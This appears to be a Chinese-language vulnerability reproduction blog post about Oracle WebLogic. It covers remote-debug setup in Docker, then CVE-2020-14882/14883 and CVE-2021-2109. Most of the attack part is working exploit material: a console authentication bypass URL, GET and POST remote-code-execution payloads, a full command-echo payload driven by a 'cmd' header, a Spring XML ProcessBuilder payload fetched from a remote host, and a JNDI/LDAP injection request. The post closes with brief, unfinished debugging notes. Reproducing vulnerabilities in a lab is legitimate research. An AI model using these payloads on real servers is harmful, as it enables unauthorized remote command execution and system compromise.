Remote Debug
准备远程调试环境
- IDEA
- 本地下载远程weblogic工程目录
- 本地jdk和远程版本一样
- 打开远程debug并且配置端口号
- idea配置好远程调试配置文件
这里我用的docker是1036版本,jdk为1.6.0_45
- 先在docker里面修改远程调试配置文件:vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh在大约343行周围修改并添加:JAVA_DEBUG=”true”
export JAVA_DEBUG
debugFlag=”true”
export debugFlag然后restart容器 - 直接把docker里面的整个文件拔下来docker cp weblogic:/root ./weblogic_jars这里把所有jar包整出来放在test文件夹下面mkdir testsudo find ./ -name *.jar -exec cp {} ./test/ \;整理一下得到如下目录
- weblogic_docker
- jdk(docker里面的jdk版本)
- Oracle(这里面存放了weblogic的整个项目工程代码文件)
- test(存放了所有jar包)
- 然后用idea打开整个weblogic_dockerEdit configurations: 左上角添加一个Remote JVM Debug,改一下Host和Post(8453)即可然后配置一下Project Structure ==>> JDK Version && Libraries 选择之前弄好的test文件点击Debug看到console里面信息: Connected to the target VM, address: ‘192.168.112.129:8453’, transport: ‘socket’代表连接成功,至此,jar包都能成功打开,调试环境准备完毕!
CVE-2020-14882/14883
环境搭建
这里复现直接用的docker,贴一下版本
docker版本 | 说明 |
---|---|
vulhub/weblogic:12.2.1.3-2018 | java version “1.8.0_151” |
vulhub/weblogic:10.3.6.0-2017 | java version “1.6.0_45” |
POC
未授权访问控制台(10,12)
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
RCE GET Poc(12)
http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/succ%27);%22);
RCE POST Poc(12)
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
RCE GET Poc(12)回显
GET /console/css/%252e%252e%252fconsolejndi.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if (cmd != null) {String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();res.getWriter().write("");}executeThread.interrupt();"); HTTP/1.1
Host:192.168.112.129:7001
cmd: ls
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/85.0.4183.121 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.9
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 0
RCE POST Poc(12)回显
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: id&&whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1208
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if (cmd != null) {String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();res.getWriter().write("");}executeThread.interrupt();");
XML加载
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[dir]]></value>
</list>
</constructor-arg>
</bean>
</beans>
linux下为bash -c
访问XML文件
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.0.1/rce.xml")
CVE-2021-2109
环境说明
- weblogic10.3.6.0 based on docker
- jdk1.6.0_45
- idea IntelliJ IDEA 2020.3.1 (Ultimate Edition) Runtime version: 11.0.9.1+11-b1145.63 amd64
POC
java -jar JNDIExploit-v1.11.jar -i 192.168.112.129
POST /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.112;129:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.204.131:49163
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
cmd: ipconfig
Cookie: ADMINCONSOLESESSION=nM8lXW3nshhqyFuWs47qjIiQP0tUMtRYRHbBUFDXA8QIxRpdyNqr!964275826
Upgrade-Insecure-Requests: 1
Debug
打开idea里面的RemoteDebug
这里先找一下命令执行具体代码的地方在哪,python开了一个http.server然后命令执行curl探测一下命令执行的地方,发现在:
\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\actions\jndi\JNDIBindingAction.class
的第57行:
Object boundObj = c.lookup(context + "." + bindName);
// context = "ldap://192.168.112"
// bindname = "129:1389/Basic/WeblogicEcho"
-----------------------------------------------
public ClassLoader getContextClassLoader() {
return this.contextClassLoader;
}
//weblogic_jars\test\wlthint3client.jar!\weblogic\work\ExecuteThread.class
------------------------------------------------
protected Object childValue(Object var1) {
return ((ResettableThreadLocal.ThreadStorage)var1).createChildCopy();
}
//weblogic_jars\test\wlclient.jar!\weblogic\kernel\FinalThreadLocal.class
----------------------------------------------------
protected Object childValue(Object var1) {
Thread var2 = Thread.currentThread();
if (var2 instanceof AuditableThread) {
return new FinalThreadLocal.FinalThreadStorage(((AuditableThread)var2).finalThreadStorage);
}
跟进一下:看不懂!